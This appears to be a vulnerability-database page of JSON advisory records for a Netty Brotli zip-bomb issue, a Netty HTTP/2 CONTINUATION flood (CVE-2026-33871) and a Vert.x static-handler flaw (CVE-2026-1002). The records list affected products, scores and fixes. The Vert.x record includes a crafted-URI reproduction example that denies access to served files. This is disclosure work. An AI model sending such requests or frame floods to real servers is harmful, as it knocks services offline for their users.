io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
"id": "GHSA-3p8m-j85q-pgmj",
"modified": "2025-09-04T13:51:43Z",
"published": "2025-09-03T18:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}
CVE-2026-33871 (GCVE-0-2026-33871)
Vulnerability from cvelistv5 – Published: 2026-03-27 19:55 – Updated: 2026-07-03 12:04- CWE-770 - Allocation of Resources Without Limits or Throttling
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33871",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T18:51:31.168118Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T18:54:19.771Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el8"
],
"defaultStatus": "affected",
"product": "Red Hat JBoss EAP 8.1 for RHEL 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat JBoss EAP 8.1 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7.12"
],
"defaultStatus": "affected",
"product": "Red Hat AMQ Broker 7.12.7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7.13"
],
"defaultStatus": "affected",
"product": "Red Hat AMQ Broker 7.13.5",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7.14"
],
"defaultStatus": "affected",
"product": "Red Hat AMQ Broker 7.14.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_quarkus:3.27"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Apache Camel 4.14 for Quarkus 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8.6.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat JBoss Enterprise Application Platform 8.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_spring_boot:4.18"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quarkus:3.20::el8"
],
"defaultStatus": "affected",
"product": "Red Hat build of Quarkus 3.20.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quarkus:3.27::el8"
],
"defaultStatus": "affected",
"product": "Red Hat build of Quarkus 3.27.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2.9::el9"
],
"defaultStatus": "affected",
"product": "Streams for Apache Kafka 2.9.4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3.2::el9"
],
"defaultStatus": "affected",
"product": "Streams for Apache Kafka 3.2.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "affected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_clients:2023"
],
"defaultStatus": "affected",
"product": "Red Hat AMQ Clients",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:camel_quarkus:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apache Camel 4 for Quarkus 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:debezium:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Debezium 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:debezium:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Debezium 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quarkus:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Quarkus",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "affected",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-03-27T19:55:23.135Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Netty. A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server\u0027s lack of a limit on these frames, coupled with a bypass of size-based mitigations using zero-byte frames, allows an attacker to consume excessive CPU resources. This can render the server unresponsive with minimal bandwidth usage."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-03T12:04:50.005Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-33871"
},
{
"name": "RHBZ#2452456",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452456"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33871.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:18054"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17789"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:18055"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14276"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14272"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8509"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:8159"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22619"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:18059"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10184"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10175"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17668"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:7109"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:7380"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13571"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:18054: Red Hat JBoss EAP 8.1 for RHEL 8"
},
{
"lang": "en",
"value": "RHSA-2026:17789: Cryostat 4 on RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:18055: Red Hat JBoss EAP 8.1 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:14276: Red Hat AMQ Broker 7.12.7"
},
{
"lang": "en",
"value": "RHSA-2026:14272: Red Hat AMQ Broker 7.13.5"
},
{
"lang": "en",
"value": "RHSA-2026:8509: Red Hat AMQ Broker 7.14.0"
},
{
"lang": "en",
"value": "RHSA-2026:8159: Red Hat Build of Apache Camel 4.14 for Quarkus 3.27"
},
{
"lang": "en",
"value": "RHSA-2026:22619: Red Hat Data Grid 8.6.1"
},
{
"lang": "en",
"value": "RHSA-2026:18059: Red Hat JBoss Enterprise Application Platform 8.1"
},
{
"lang": "en",
"value": "RHSA-2026:10184: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:10175: Red Hat OpenShift Dev Spaces 3.27"
},
{
"lang": "en",
"value": "RHSA-2026:17668: Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14"
},
{
"lang": "en",
"value": "RHSA-2026:7109: Red Hat build of Quarkus 3.20.6"
},
{
"lang": "en",
"value": "RHSA-2026:7380: Red Hat build of Quarkus 3.27.3"
},
{
"lang": "en",
"value": "RHSA-2026:34608: Streams for Apache Kafka 2.9.4"
},
{
"lang": "en",
"value": "RHSA-2026:13571: Streams for Apache Kafka 3.2.0"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-03-27T21:02:13.396Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-03-27T19:55:23.135Z",
"value": "Made public."
}
],
"title": "netty: Netty: Denial of Service via HTTP/2 CONTINUATION frame flood",
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003c 4.1.132.Final"
},
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.10.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, a remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive. Versions 4.1.132.Final and 4.2.10.Final fix the issue."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T19:55:23.135Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
}
],
"source": {
"advisory": "GHSA-w9fj-cfpg-grvv",
"discovery": "UNKNOWN"
},
"title": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33871",
"datePublished": "2026-03-27T19:55:23.135Z",
"dateReserved": "2026-03-24T15:10:05.679Z",
"dateUpdated": "2026-07-03T12:04:50.005Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-1002 (GCVE-0-2026-1002)
Vulnerability from cvelistv5 – Published: 2026-01-15 20:50 – Updated: 2026-01-15 21:09| URL | Tags | |
|---|---|---|
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Eclipse Vert.x | Eclipse Vert.x |
Affected:
4.0.0 , ≤ 4.5.23
(semver)
Affected: 5.0.0 , ≤ 5.0.6 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-1002",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-15T21:07:25.597990Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-15T21:09:22.172Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/vert-x3/vertx-web/issues/2836"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://repo.maven.apache.org/maven2",
"defaultStatus": "unaffected",
"packageName": "io.vertx",
"product": "Eclipse Vert.x",
"repo": "https://github.com/eclipse-vertx/vert.x",
"vendor": "Eclipse Vert.x",
"versions": [
{
"lessThanOrEqual": "4.5.23",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "5.0.6",
"status": "affected",
"version": "5.0.0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\u003c/p\u003e\n\u003cp\u003eThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://github.com/eclipse-vertx/vert.x/pull/5895\"\u003ehttps://github.com/eclipse-vertx/vert.x/pull/5895\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e\n\u003ca target=\"_blank\" rel=\"nofollow\"\u003e\u003c/a\u003e\u003c/h2\u003e\u003ch2\u003eSteps to reproduce\u003c/h2\u003e\n\u003cp\u003eGiven a file served by the static handler, craft an URI that introduces a string like \u003ccode\u003ebar%2F..%2F\u003c/code\u003e after the last \u003ccode\u003e/\u003c/code\u003e char to deny the access to the URI with an HTTP 404 response. For example \u003ccode\u003ehttps://example.com/foo/index.html\u003c/code\u003e can be denied with \u003ccode\u003ehttps://example.com/foo/bar%2F..%2Findex.html\u003c/code\u003e\u003c/p\u003e\u003ch2\u003eMitgation\u003c/h2\u003e\n\u003cp\u003eDisabling Static Handler cache fixes the issue.\u003c/p\u003e\n\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003eStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cbr\u003e"
}
],
"value": "The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\n\n\nThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 \n\n\n\nSteps to reproduce\nGiven a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html\n\nMitgation\nDisabling Static Handler cache fixes the issue.\n\n\n\nStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);"
}
],
"impacts": [
{
"capecId": "CAPEC-153",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-153 Input Data Manipulation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-444",
"description": "CWE-444",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-15T20:50:25.642Z",
"orgId": "e51fbebd-6053-4e49-959f-1b94eeb69a2c",
"shortName": "eclipse"
},
"references": [
{
"tags": [
"patch"
],
"url": "https://github.com/eclipse-vertx/vert.x/pull/5895"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Eclipse Vert.x Web static handler file access denial",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "e51fbebd-6053-4e49-959f-1b94eeb69a2c",
"assignerShortName": "eclipse",
"cveId": "CVE-2026-1002",
"datePublished": "2026-01-15T20:50:25.642Z",
"dateReserved": "2026-01-15T18:23:48.276Z",
"dateUpdated": "2026-01-15T21:09:22.172Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.